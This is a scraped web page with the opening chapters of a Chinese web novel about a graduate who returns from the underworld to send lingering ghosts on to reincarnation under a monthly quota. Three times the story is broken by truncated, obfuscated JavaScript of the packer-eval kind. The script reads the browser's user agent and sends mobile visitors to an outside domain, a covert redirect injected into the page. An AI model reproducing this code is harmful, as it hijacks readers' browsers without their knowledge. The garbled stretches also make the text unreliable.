《您的用户不在服务区》 1. 地府半日游 站在这个金碧辉煌的宫殿中央,望着正前方高座上着白袍的男子,张祎宁下意识地扑通跪下,战战兢兢道:“皇上?” 这是穿越了? 记得上一秒自己还在毕业典礼,说好了都往边上没人的地方抛学士帽,也不知是哪个混蛋的学士帽正正好好砸在了她这个倒霉蛋的头上,然后呢?这就是穿越? 可是她不修文史,对于所谓的“历史常识”还停留在“唐宋元明清”,这能活过半集吗? “你要这么唤吾,吾没有异议,但大家都习惯唤吾——阎王。” “什么!阎王爷!?” 相比起真的死了来到地府这件事,她更震撼的是这里竟然是地府。 “地府这么金碧辉煌吗?你是阎王爷?声音听着很年轻啊,那些什么黑白无常、牛头马面呢?也唤出来瞧瞧?”张祎宁新奇地四处乱转,一时忘记“置身地府”意味着什么,蹭蹭金柱的漆箔,摸摸内嵌的琉璃,竟都是货真价实的宝贝。 自称阎王的年轻男子似是许久未与人说过话,没恼她一连大不敬的数问,耐心答道:“这宫殿我任职时便是这般模样,今时不同往日,大家都不烧纸钱了,俸禄现都由天庭统一拨放,当然,一应吃食还是比别处要丰厚的,毕竟供奉的习俗还有所保留,”阎王换了个姿势,懒散地斜靠在座椅上,“至于你说的那些阴曹司、判官司拘鬼使,养不起,自是裁撤合并了。” “好了,问题问完了吧,该上路了。” “等等等等!上哪去?” “殊途同归去,关门再分道,人畜共轮回,一程复一程。最是人间不能留。” 声音从四面八方传来,一声复一声,重重压在张祎宁头上,她不由自主地跪下,仿佛被千万双眼睛盯着。 可是…… 人畜共轮回?不可以! 她这一世捱过了那么多苦,总算守得云开见月明,就要走上独立自强之路,开启一个崭新的生活篇章了,怎么可以重新洗牌再来?谁知道投胎的下一世又会是什么命数? 思及此,张祎宁双手抱住堪堪能环绕的金柱不肯撒手,“别呀!大慈大悲的阎王爷,救苦救难的阎王爷,您老高抬贵手放我一马吧,草民贱命一条,不劳兴师动众,您就当没看到我,让我滚回去吧……” 上头那人不置一词,许是对这样的叫苦叫屈司空见惯了。 一计不成,再换一计,总之自己不能就这样认命!哪怕是就在这地府里赖着也绝不投胎,其实赖在这里说不定生活更滋润呢…… 她摇摇头,甩掉因眼前太过金光闪耀而造成的片刻精神疲软,大声哭嚎:“我的命好苦啊——小小年纪就变成了单亲家庭,我妈还早早撒手人寰丢下我一个人,老爹更是个没心没肺的,这日子过得叫个苦哟,一步一步靠着口气撑到了现在,眼见着!眼见着马上就要跨过新世界的大门了,怎么就行差踏错来到这地下呢?阎王爷,我肯定是走错了,你放我回去吧,只要不让我死,当牛做马都行!” 张祎宁一路哭一路爬,想爬到阎王爷脚下求求他网开一面,许一条生路,可惜这地府太大,那阎冥路似在眼前,又像远在天边,怎么爬都是同一个距离,干脆坐在石阶上哭天喊地,以头抢柱。 本是假意造作一番,却越说越真情流露了。 命数这个东西,张祎宁在母亲身上看了个真切,自己是从她身上掉下来的骨肉,却不想一同连着气运也落了个准。 她也不是没想过像母亲一样,死了一了百了,怎么样也能好过点,但不该是这个时候,苦尽甘来的时候洗牌重来,那她吃下的那些苦岂不是个愚弄自己的笑话?她不能死,怎么说该死的也另有其人。 纷乱的思绪像理不清的毛线球堵在她的喉头,她没意识到自己的哭嚎声已渐弱,正如被捕兽夹抓住的幼兽,身处险境时,第一反应是试图以伪装狂暴来对抗和震慑,完全忘记自己才是不幸命中的夹下猎物,捕兽夹没有办法直接杀死巨兽,但长久的被困和自我意志的摧残可以,眼下的她正走投无路地步入此绝境。 遇事不决先发疯,事实证明是有用的,她听见了简短的回答。 “行。” 行? “什么意思?” “我放你回去。” * 大难不死,必有后福。 不是不到,福报未到。 张祎宁从病床上醒来,眼前的金色被白色取代,那股线香的味道也只存在于一息之间就被刺鼻的消毒水味给盖过,她试探性地动了动脖子,有些僵硬,眼角残留的泪滴因为左转滑向右耳,头上的伤口随着脸部动作受到牵扯而疼痛,她只好乖乖躺着,不敢乱动。 以前看过小说里刚醒来被人摇了一下以后就真的死掉的故事,她记忆犹新,好不容易保下的命,是很脆弱的。 病房里静悄悄,只有仪器滴滴作响,白色隔帘的隔壁病床好像没有人,门外时不时传来匆匆的脚步声。 自己醒来了,是不是得叫医生护士啊?但她眼睛滴溜转了一圈,也没找到呼叫器,算了,安安静静躺着吧,只要自己不乱动,应该不会有什么事。倒是那像传奇故事写就的地府遭遇到底是真的还是自己昏迷时做的一场梦呢?她有些急切地想印证一下。 交谈声和脚步声渐近,几乎就在门外,有人来了。房门在下一瞬被推开,熟悉的声音响起,她确认,此刻自己真的回来了。 “老师。”她小声喊道。 交谈声停止,身着白大褂的医生先一步上前。 “祎宁,还有没有哪里不舒服?”辅导员也走上前,两人一左一右站在病床两侧俯身打量着她。 张祎宁一边跟着医生的示意转转眼珠动动手指,一边回应询问:“就是伤口会疼,有点想吐,其他地方没什么不适。” “麻药过劲伤口会疼的,想吐正常,有轻度创伤性脑损伤,就是脑震荡,再观察两三天,没问题就可以出院了。” 她仔细听着医生的诊断,小心翼翼问道:“医生,我之前……我之前是不是差点死掉了?” 医生面戴口罩,闻言笑了笑,大概以为她是心有余悸,宽慰道:“你放心,没有这么严重,你现在不是感觉还好吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448778|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是……但……” 她止住话声,自己都还没印证的事说出去,医生估计要重新评估她的脑损伤程度了。 辅导员再三确认她的身体状况无大碍后,才放下心来,“你就在医院里好好养伤,一日三餐医院都有准备的,其他事情就别操心,有哪里不舒服一定要第一时间叫医生护士,毕业这几天学校里有好多事,我这边得赶回去处理一下,你有任何问题打电话给我就行。” “好的老师,放心吧,我没事。” “好、好。对了,你父亲的电话我这边怎么都打不通,联系不上。这事儿还得跟家里人知会一声,别让他们担心。” 张祎宁露出个假笑,“呃……可能在忙,我等下就给他打。” 她留的本来就是外婆生前的手机号,现在那张卡如无意外就插在她自己的手机上,当然是怎么打都不会得到任何回应。 病房里又重归寂静,她尝试着屈肘坐起,躺太久了屁股痒……手就这样毫无准备地碰上个坚硬的角,她翻开被子查看罪魁祸首,是一个蓝封本子。封皮上没有任何的字,她倏地想起阎王说的那本阴身簿,该不会就是这个吧? 也顾不得伤口,她直接坐起,急忙翻开那本簿子,如封皮一样,里面也空无一字,啊?无字天书?这也太扯了吧…… 但出现在手边的无字簿子肯定不会凭空而来,且与阎王说的话能对上,那便是真的去了地府一趟,还跟阎王谈了条件,关键是,阎王那么轻易就答应了,准许她还阳任这“掌簿”一职。 据阎王所说,这簿子名为“阴身簿”。而所谓“掌簿”,就是掌管阴身簿,将还弥留人间不肯过鬼门关的小鬼都送过去,还给设定了KPI,每个月要获得两个五星好评,达到便可保此后无虞,直至自然死亡,如若没达到,“不可说不可说”,他当时是这么回答的。 福报,真是福报,有KPI,有不可说的惩罚,没有编制,没说工作年限,她也不敢问,生怕跑慢一秒,阎王就反悔,把她扔进十八层地狱。那阿鼻地狱不可能有这么金碧辉煌了吧? 翻着手里的阴身簿,虽然还不知该如何使用,但仿佛有无形的丝线自其中延伸连接至她的体内,同生同呼吸,这渺远人间,还有她的命,皆系于无字簿子之上。 对于这个世界来说,一条一条的生命本就如浮萍,其自身也不过是浮游的一个点,所有人挤破头要扎根,却依旧敌不过汩汩而逝的流年,她想自己为何如此执着地要活下去,其缘由也是因为浮萍吧,无尽的漂泊如果是浮萍注定好的一生,那她也不愿,不愿就此停下,更不愿扎根,就让她随波逐流,到最远的尽头好了。 夕阳像背手散步的老人缓缓从窗外走过,后边跟着撒了欢奔跑的稚童,将橙黄色的脑袋挤进窗户的铁栅栏里四处打量,目光所及之处,白色的窗帘、隔帘、地板和被褥都被洒上了金粉,连同张祎宁的手心也洒上了金粉,她好奇地摊开手心仔细瞧,又用力擦了擦闪着光的纹路,这……地府里的金柱还掉漆啊…… 她哭笑不得,除了阴身簿,这下又多了一条地府半日游的证据。 2. 醉鬼的复仇 阎王只许她为地府打黑工的寿命,可没给她财富,好不容易到手的OFFER当然得抓住,于是她出院之后只休息了三天就马不停蹄地到新公司报道,好在学校宽限她在新学期前搬离宿舍就行,她有了充足的时间找房子。 白天上班,晚上兼职抓鬼,新生总是需要付出代价的。 这段时间,张祎宁虽然还是没悟到阴身簿的使用方法,但她可是实打实地能在光天化日之下看见鬼了!表情自然、动作正常,随着人群在大街上游走,除了通体透明外,与常人几近无异。 第一次看见活着的鬼,啊不是……第一次看见鬼,张祎宁不可避免地被吓到了,瞪大了眼睛看着他,对方看见她瞠目结舌的表情,倒是一脸坦然,还同她sayhi,而后匿入人海里,不见了。 可惜,就这么放跑了他,张祎宁痛心疾首,比丢了五百块还心痛。 过后的每一天,就像借高利贷一样,五百块、一千块、一千五、两千,见不到鬼的每一天都利滚利,让她懊悔不已。 终于,在涨到三千块钱的这天,如同救星一般,这只鬼送到了眼前。 她下班回学校的路上要经过后门的小食街,这只鬼刚巧蹲在烧烤摊边,目光呆滞。 开门红的第一单啊! 恐惧抛之脑后,她自己倒像个饿鬼一样兴奋地一跃上前,说道:“大哥!走啊,送你一程。” 他瞧了张祎宁一眼,张嘴嘟嘟哝哝像是在说醉话,破碎的字眼一个一个往外蹦,就是连不成一句能听得懂的人话。张祎宁又往前凑了凑,想分辨他到底在说些什么。 嗝————好响一个嗝,好在没有气味,不然就这个距离,毒气怕是要冲破她的天灵盖了。 她皱着眉扬手在面前挥了挥,鬼是送上门了,但是个口齿不清的醉鬼,这下麻烦了…… 她想摇醒大哥,把他脑子里的酒都给晃掉,但眼见着双手从大哥的肩膀穿过,泄了气,还真是透明的,只是在空气中聚成了人形的魂体。 “大哥,还醒着的不?走啊,你该重新投胎了!” 小食街里人来人往,烧烤摊上热火朝天,她的大喊瞬间就被锅瓢声淹没。 “嗝——妹啊,走不得走不得,有人害我啊!我是被谋杀的!我走了他们就得逞了。” 有冤情? 看来掌簿这职位没她想的那么简单,保不齐自己还能过个“人间判官”的瘾。 这里人多眼杂,她将大哥带到后头小巷口,低声道:“大哥你细细说来,能帮,本掌簿肯定帮你。” “义气啊妹子,他们说我是喝醉了意外掉进河里淹死的,不可能!我能喝多少我心里没数?就这点酒我喝不醉,都是那黑心老板,看到没,”他指了指刚刚蹲守的烧烤摊和正在火灶上忙碌的老板,“就是他!他谋财害命,灌我酒,指不定在酒里也做了什么手脚,然后尾随我,把我丢进河里!” 唔,事情开始不对劲了,“大哥,你喝得确实多,那老板看着也不像是个能下手杀人的啊,再者,他图你什么呢?大哥你这个没有证据,我也不好信哪。” “证据是吧,有有有!跟我走,证据就在案发现场!” 嚯!真有证据!本疑心被大哥耍了一通,听到有证据,张祎宁重新振奋了起来,有证据,性质可就不一样了。 大哥生前真的不是个赛车手或者摩托车手吗?走起路像是漂移,从街这头一个神龙摆尾直接就晃到了街那头,期间她有好几次想护着点,但大哥无视了数辆从他身体穿过的汽车,她才识趣地远远跟在后头,开始思考大哥生前就是这么……呃……飘逸,还是“仗死行凶”? 虽说就算几百辆车穿过大哥也不会伤他分毫,但目睹每一次的车祸现场还是令她心下一紧,下意识地闭上眼睛。好在距离不远,经过三个“致命”街口就到了案发现场,也就是大哥落水的河边。 “妹子,你看,是不是可笑,这里这么高的护栏,我又不眼瞎,怎么可能会自己翻过去找死?是那个老板找人帮忙,合力把我举起来丢下去的!” 张祎宁有些累了,蹲在护栏边,看着激动不已的醉酒大哥,提议道:“你现在试试能不能翻过去。” 大哥一边重复着刚才的骂骂咧咧,一边抬脚勾上护栏顶,轻轻松松。 “你看,大哥,你自己一个人完全可以翻过去。” 他悻悻地把脚放下,嘴硬道:“那我现在清醒着当然可以啦。” “你刚刚说这么点酒喝不醉的,那就代表你当时是清醒的,清醒状态下你可以翻过去,而且清醒状态下你怎么会任由别人把你丢下去不反抗不求救?你的重量可以顶上两个烧烤摊老板了。”张祎宁好心提醒他的前后矛盾之处。 大哥安静片刻后又喃喃自语:“那我肯定是呼救了,就是说有目击证人,但他知情不报、见死不救……” 而后他又突然狠狠跺脚,激动大喊:“我知道了!是这个栏杆有问题!我都能翻过去,那很多人都能,这个很危险,是他们那些安栏杆的人玩忽职守,根本设置得就不合理,是他们害死我的,妹子……” 张祎宁费力地站起身,打断他:“大哥,咱走吧,别在这瞎猜了,现在天网恢恢,要真像你说的那样早就被发现了,这护栏也够高了,就是加得再高,有心人想爬也能爬过去。” 她真是得了失心疯,大晚上加班到九点,送上门的还是个这么难缠的主儿,她也真信了他的确有其事。 脑震荡了,听到这些疯言疯语,她觉得头又开始犯晕。 事主却还不肯罢休,他颓丧地垂下头,声音里充满了万般无可奈何,“妹子啊,你不知道……我上有七十老妈,下有俩娃儿,全靠我一个人张罗口饭吃,我这一走,他们可怎么办?上大街要饭去啊?好歹我得给他们想个辙吧?”大哥一副可怜兮兮的模样,和先前的暴躁老哥判若两人。 “真的,我也是实在没办法了,老妈眼睛都得哭瞎,还有俩娃儿,肯定在梦里哭着喊爸爸……” 生死有命,富贵在天。 命,其实就是中间那一横,上有遮天盖,下有叩门环,这一来一去,躺平便是一遭。 张祎宁叹了口气,“你想辙也不能讹人吧?你在这个世上只剩一抔骨灰啦,还能想啥辙呀?前尘事已断,还不如展望一下来世。” 果然是站着说话不腰疼,突然想起不久前自己还在地府里撒泼呢,现在堂而皇之地当理中客劝解别人放下了,她不免有些心虚。 “来世?” 大哥倒是听进去了,看样子酒醒大半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448779|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妹子,你是那个什么什么不……东西来着?” “掌簿,掌簿。” 他憨笑道:“多少是个官儿吧?妹子,能不能帮我下世投个好胎,投个什么富二代、暴发户之类的人家?” 张祎宁现在只想摆脱这个醉鬼,心生一计,“也不是没可能,但我这个官儿太小,就是个跑腿的,没有话语权,你得进鬼门关,那里才是办事处,你有什么诉求跟那里的官儿说才有用。” “行行行,怎么去?带我去!” 张祎宁惊讶于他一瞬的态度转变,但话已至此,她赶忙掏出阴身簿,翻开簿子,翻开前还有些忐忑,毕竟自己根本不知道该怎么用,生怕在对方面前露了怯,对方会反悔。可原是一片空白的页面,现在出现了这个男人的名字、生辰等基本信息。 哇哦!是个智能的高级货! 张祎宁清了清嗓子,学着阎王摆出那副睥睨的表情,“赵雷军?” “对,是我。”大哥早已摩拳擦掌,整装待发。 应声落下,本就缥缈透明的魂体更是开始变得稀薄,要溶进夜色里,这番景象真有点太“伪科学”了,在场二人她倒表现得更惊讶。回神后,她抓住最后一点魂体还未消散之际,不死心地喊道:“大哥走好啊,记得给我五星好评,我代号巴掌!” 吸取教训了,以后得一上来就说清楚需求,“我代号巴掌,送你去投胎,能不能给我个五星好评”,然后再扯七扯八……那她也是没想到这么快就给送走了,还以为最后起码有个流程或者仪式啥的,像阎王当时跟自己叨叨的那几句,所以,他当时是纯装X? 这一番折腾过后,已将近十一点,张祎宁筋疲力竭地原路返回,脑子里乱糟糟的,初上岗的第一单说不上顺利,倒是很荒唐。 再次经过那条小食街,尚不知自己卷入了一场名为“醉鬼的复仇”,被攀咬“命案”的烧烤摊老板还在努力翻锅炒粉,锅铲在烈火上跳着交谊舞,一触即分,大汗淋漓,高唱着烈焰交响曲。她一时看得入了迷,下意识咽了咽口水才想起自己还没吃晚饭。 “老板,来份蛋炒米粉。” “得嘞!” 炒粉很快就端上桌,她看着老板那张和蔼的笑脸,好奇地叫住他:“老板,你认识赵雷军不?就是前几天在你这里喝完酒然后掉进河里淹死那个男的。” “认识啊,咋的?” “哦哦没什么,就是听到些街头八卦,说他不是意外,是被害。”张祎宁煞有介事地低下声来。 老板的声音激愤起来,上下挥舞锅铲,“啥子被害咯?他这人就是作孽多遭报应!不出去做事,天天就晓得喝大酒,喝多了就打婆娘,打跑婆娘就打老娘和娃娃,家都给喝个精光,不给他酒就抢,真是老天开眼,他老娘和娃娃总算是有盼头咯~” 张祎宁打了个哈哈:“是是是,街头巷尾不知道的人乱传的,听听就好。” 看着老板义愤填膺的背影,她的脑海里又浮现出刚才那大汉可怜兮兮的模样。竟是作伪吗? 人心隔肚皮,他那浑圆啤酒肚,又岂是张祎宁一介初涉业务的掌簿能看透的呢? 罢了,罢了,人心难测,福祸难料,黑白难断,生死难卜,但吃一碗炒饭还是炒粉的选择,她还是能做的。 3. 钉子鬼 除了这开局不顺的第一单,往后焦头烂额地应付着本职工作,张祎宁再没碰到过小鬼,眼看即将到DDL月末,不免有些心焦。 她试探性地对着阴身簿喊了声“阎王爷?阎王爷?” 她总觉得自己对这智能阴身簿的开发还不及百分之一,既然它连接着人间、鬼与地府,指不定可以透过这些透明“天线”和地府里的阎王远程通话呢?毕竟当初阎王一脚把她从地府踹了回来,也没告诉她该怎么双线联系啊。 “你的一月之期将至,还未完成吾的指标,甚至背上了差评。”纵是她不再惧神神鬼鬼,也被这耳边突然响起的话音吓了一个激灵,但随即马上反应过来,“什么!那大汉不给我好评,反给我差评!?” “他告你哄骗之罪,哄骗他可以择优投胎。” “我没有!我是说有可能,有可能,调回放!” “何事?” 她经由提醒,这才想起最重要的事,忙问道:“最近死亡率很低吗?又或是幸福指数很高?我怎么又快半个多月都没碰到小鬼了,这种因不可抗力完不成指标是不是也不能算我的锅?” “这世间不止你一个掌簿,它们自是寻别处掌簿勾魂去了。” “啊?就是说我还得竞争获客?” “正是。” 张祎宁忍不住嘀咕道:“不是,就一空白破簿子,我上哪找鬼去,就没有什么更先进的办法吗?” 无人回应。 “喂!阎王?阎王爷?” 这就是领导,只回答想回答的问题。 什么嘛,原来阴身簿也是批发的啊。自那晚见识过其厉害之处后,她一直当宝贝供着,毕竟说不准自己的命途也在上面标注着,而有一天她会成为给自己送终之人,想想就特别带劲。 但每天晚上都得加班,下班后她一个女生四处乱转太危险,竞争获客、竞争获客……咬咬牙,她决定早上不坐地铁上班,骑共享单车溜达着去,一路上碰碰运气,看看有没有无家可归的流浪小鬼。 早起的鸟儿有虫吃,果不其然,真让她碰上一个。 彼时张祎宁正从公园一侧穿过去,就看见那鬼坐在长椅上望向远处发呆,生怕他又一转眼消失不见,张祎宁急匆匆撇下单车往前奔,来到近前后一个急刹,气都没喘匀就脱口而出:“你好,我代号巴掌,送你去投胎,能不能麻烦你到时候给我个五星好评。” 面前这鬼长发松散束起,有两绺垂在鬓边,增添了风霜之感,身着一素色右衽长袍,下长过膝,面色悒郁,听完她的话却是由衷笑了起来,温声和气道:“好。” 这就成了?这么好说话? 她上下扫了对方一眼,看起来怪怪的,穿的这是什么玩意儿?这头发比我还长吧?这就是传说中长发如瀑的“贞子”? 虽然心下有疑虑,但张祎宁手上忙不迭地掏出阴身簿,“稍等稍等,刚上岗,业务不太熟练,我马上。” “不急。”他依旧笑着,声音和煦。 她翻开阴身簿,可其上还是空白,没有像上次一样自动出现面前人的信息,“诶?怎么回事?失灵了?”不应该啊,好歹是件灵宝,不至于用一次就失灵,那便是面前鬼的问题了,看着他不慌不忙的笑意,张祎宁顿时有种被耍弄的错觉。 “你是谁?”她冷下脸质问。 “不记得了。” 他直视着张祎宁的眼神,毫不闪躲。 不记得了?玩失忆梗是吧? 她怒不可遏,说了声“你等着”后就转身往一旁躲开,低声呼叫阎王出来。 “阎王爷,江湖救急江湖救急,有人砸场子啦!阴身簿失灵啦!” “何事?” 不带一秒延迟,就像阎王正在身边一样,她一唤,他便应,这让张祎宁顿觉毛骨悚然,却是没有时间细想。 “我遇到一个鬼,打扮怪异,而且,我打开阴身簿,上面不显现他的信息,问他是谁,他也说不记得,你说会不会是什么专和我们地府作对的黑恶势力组织故意来找茬?” 她将手掌弯成半弧状靠在嘴边,小声低语。 这才不到一个月,她已万分适应掌簿之职,俨然以“我们地府”自居,职权真是个瓜皮帽,扣在谁的脑袋上,谁就会服服帖帖地成为瓜皮。 “吾已知晓,料是刘元詹,你可不用理会,自行离去。” “什么意思?” 显然她自主揽过的责任心没有被顶头上司注意到。 “刘元詹,1424年生人,因历史遗留,现已寻不到其更多信息,他心怀执念,久不愿离开人世,便由他而去。” “啊?就不管了吗?几百年的老鬼不抓走吗?” 对面停顿半晌,在张祎宁以为阎王又无声无息偷溜时,他突然发问:“你还未尝问过他的夙愿吧,等你问过后,你便知晓。执念如此,吾等亦是无法。” 这回是真溜了。 张祎宁回过身,戒备地看向刘元詹,他依旧笑意盈盈。1424年,从明朝游荡至今的钉子户。 “刘元詹。”她咬着后槽牙,挤出这三个字。 “这便是我的名字吗?”他歪着脑袋仰脸看向张祎宁,好一副清纯小白花模样。 “是,你为何不愿入轮回转生,有何未了夙愿?” “你能同我成婚吗?” 啥?! 她惊恐地望着口出狂言的鬼,好啊,装出人畜无害的样子,一开口却是这等不知羞的事,亏你还是老祖宗。 总算明白阎王刚才那半晌的沉默了,她做出防御姿势,瞪着刘元詹,一步一步向后退,尽管他并未挪动半步。 说时迟,那时快,张祎宁就在他的眼皮子底下拔腿往回奔,骑上共享单车一溜烟跑了。 一定是早上的气场与她不合,一定是,早起的虫儿被鸟吃,这才是真谛。 什么命啊,第一单被给差评,第二单是个神经病,重回人间真的不能给她洗掉命数,改改命吗? 遇见这档子事,她还是改回了晚上下班后溜达的兼职时段,并尽量躲着点那个公园,毕竟再好的掌簿也怕难缠的老鬼。 但能去的范围有限,根本遇不上什么鬼,遇到了一个,偏偏还是个嗜财鬼,开口就要她拿出五百万,而且不是烧的冥币,而是货真价实的可流通的人民币硬币,要她挖个坑埋在他家小区门口的大树下,说等他再投胎的时候可以回来取。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448780|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张祎宁苦口婆心地向他解释五百万硬币是个多么庞大的体积,根本埋不进那棵树下,也不是她一人之力可完成的,除非他能劝说市长将这项工程发展为希望工程基建,给一只死缠烂打不愿走的鬼以希望。 况且转世后不会带有现世的记忆,就算是埋了也没用。可他坚决不松口,自认聪明绝顶,张祎宁懒得多费口舌,直接转头走人并诅咒他下一世投入畜生道。这与智商不匹配的野心也别再为人了,容易再早早死掉,真难为他还能想到硬币更容易储存这件事。 * DDL到来的这一天,张祎宁甚至忘记了DDL的存在,毕竟现实生活里充满了完不成的DDL,她只记得今天是要给领导汇报月报的日子。 她挤在地铁里,满脑子都是等一下要演讲的PPT,突发奇想,环顾了一圈,满满当当的全是人,一个人的脚尖挨着另一个人的脚后跟,一个人的头发甩过另一个人的腋下,霍尔空间亲密关系论在早高峰的地铁上被所有人踩在了脚下。 也是,怕是连鬼都不愿挤进这班地铁里。 就在这个当儿,张祎宁突然感到额角似被刺穿贯入,尖锐的疼痛甚至直击她的心脏,引起一阵全身痉挛,她忍不住发出惨叫,手脚蜷缩着蹲下。 身旁的人被她吓到,自动地如潮水一般向后退去,她的身边顿时腾出一个空圈。 最开始的刺痛转而变成难捱的钝痛,发胀、眩晕,好像有什么东西从疼痛的一角流失,她蓦地想起了灰白色的脑浆和鲜艳的赤红,不禁颤抖着抚上额角近太阳穴处,是温热光滑的皮肤,皮肤下青筋在叫嚣,还好,还好,是疼痛的幻觉。 放下心后,她有了闲工夫胡思乱想,原来地铁上还是能有这么大空位的,那他们老挤我干嘛? 身旁的人从一开始不由自主地后退,现在适应状况后,纷纷向她投来慰问的目光和充满暖意的关心,但当地铁到站的时候,他们大部分人还是蜂拥而下,毕竟上班不能迟到,她也是。 张祎宁撑起身子,笑着向还在身边关切询问的人摇了摇头,连声说没事,努力稳住心神,随着人潮走下地铁,她得使自己的步子稳当点,不至于踉踉跄跄,一头栽倒。 她往反方向走去,往家的方向走去,因为她想起来了,这个痛太熟悉,被学士帽意外砸到的时候就是这样的感觉,先是经历了无知无觉的麻木,继而是足以被击倒的刺痛,最后是持续连绵的钝痛,从一个点发散到整个颅脑、躯干和四肢,再之后便不省人事。 她连同想起了今天是月末最后一天,想起了那个不可说的惩罚。 原来是这样,是让她再百遍、千遍地经历一次死亡那刻的痛苦,没有幸运的“不省人事”,只有痛。像将痛觉神经暴露在外,任凭他人随意把玩。 张祎宁不知道今天到底会痛多久,是不是她能够忍受的范围,所以只能逃回家。 她很恨,不恨那个给差评的醉鬼,也不恨讳莫如深的阎王,她恨的是这个时间点! 不是整点,也不是一天里的哪个划分时间的节点,突如其来,让她毫无准备地在地铁里遭逢,丢人现眼,这也太随机了吧!她要投诉!投诉阎罗殿的流程不规范、机制不透明! 4. 算命摊 尝过一次惩罚的滋味后,张祎宁发誓,不管付出多大的代价,都不要有下一次,当然,这个多大的代价不能包括成为那个钉子鬼的鬼新娘。 卷!卷起来!卷的目标永远不是奔着前头的,而是防着后头的,她这次深刻体会到了。 不再盲目地逛大街碰运气,她精挑细选了一个天桥,不在学校和公司的生活圈内,遇到熟人的概率小,每天晚上这里就会聚集起一批小摊贩,卖盗版书的、卖扎花的、卖自制小点心、自制手工艺品的、画肖像画的、卖衣服的,还有手机贴膜的,应有尽有,显而易见的共性是,摊位都很简单,一块布铺着就能卖的、一张折叠桌折叠椅支起全部的,直接架在自行车后座的,最复杂也不过是有两排简易衣架。 张祎宁以为这种童年时常见的“街头文化”早消失了,却原来只是她自己从这个小小街头走出,迈进繁华都市。 她仔细观察了一个星期,这里的人流量不多不少,多了扎眼,少了达不到目的,最最重要的——天桥的一端是医院!这里晚上没有人不要紧,还能少得了鬼!? 张祎宁物色好卖盗版书旁边的小空地,那儿刚好在两大片亮堂地儿的中间,稍显昏暗,离两边摊位有点距离,不会引起太多注意,也可以人为地烘托一些神秘气氛,最好是扫一眼、避之不及地匆匆走过。 卡纸板一放,两个折叠凳一摆,巴掌算命摊落成,这就是她今后的小据点。 只要碰上第一个鬼,张祎宁就会让他成为“线人”,比起自己无头苍蝇一样乱转,鬼和鬼之间传递消息肯定比她一个晚上还得加班的社畜便利,她要让他们自己找上门。 新来客果然没有引起太多注意,仅是两旁的摊主懒洋洋扫了她一眼,目光就又粘回行人身上,恨不得看穿他们的钱包。 张祎宁眯起眼睛四下张望,透明的魂体白天看不清,晚上也不明显,这工作从头到尾处处都是坑。一不小心就和卖盗版书的摊主正面相遇,对方显然已经打量她有一会儿了,看见她刚好看过来,脱口而出就是一问:“你是干啥的?” 张祎宁双掌摊开,显而易见的,“摆摊。” 他撇了撇嘴,“卖啥的?不管卖啥,在这条街摆摊,得先登记交钱的。” 交钱?张祎宁可没打听到这点,难不成还是正规营业点?一点都不像啊……“这儿有人管的吗?给谁交啊?” 大哥转身往远处一指,“喏,就尽头那家,卖水果的,有个群,交了钱就拉进群,人来了会提前通知,有什么好地儿也会在群里发。” 敢情是收保护费。 张祎宁将自己的纸壳板招牌转向大哥,俩粗体大字赫然其上——【算命】。 “卖这个的。” 大哥凑近瞧了瞧,又不可置信地往前探头瞧仔细,不发一言地躺回躺椅上。 不到十分钟,张祎宁就看见个精瘦小老头从自己面前走过又折返,再回头走过又折返,这期间着重看了看她的招牌,顺便和盗版书大哥对了对眼神,想必这位就是神通的“管理人”了,这盗版书大哥版权意识没有,集体意识是杠杠的。 “管理人”没来和张祎宁交涉,她乐得自在,巴掌算命摊终是落成。 开张的第一晚,无客。 开张的第二晚,无客。 开张的第三晚,有客。 一年轻女子神神秘秘地坐在了张祎宁的对面,但她不是张祎宁要等的鬼。 “唔……”开场白失败,算了,当作没看见的话,她是不是就会自行离开? 张祎宁局促地坐在小矮凳上,眼神四处乱飘,双手无意识在忙碌着……理袖口的线头,丝毫没有开门迎客的自觉。 年轻女子从斜挎包里掏出一副塔罗牌,问道:“你会这个吗?能用这个给我算算吗?” 张祎宁将一旁支棱的招牌摆正,义正词严:“我是看相的。” “看相算命不科学,21世纪你得相信科学。” “所以?” 她晃了晃手中的卡牌,“塔罗牌就很科学啊。” 怕不是来捣乱的吧?自带道具,高举赛先生的旗帜来我玄学老道的摊子传教? 对于这种胡搅蛮缠的人最好的办法要么不理她,要么顺着她的意思迅速推进。但张祎宁刚才没把持住,已经理了她,现在也只好顺着她的意思,快快了结,然后送这尊大神离开。 张祎宁接过塔罗,用洗扑克牌的方式洗了一遍手牌,让这女子从中抽出三张,刚要开口胡诌,突然想起还不知道对方所求,假作正经地发问:“你要算什么?” “姻缘,真命天子。” 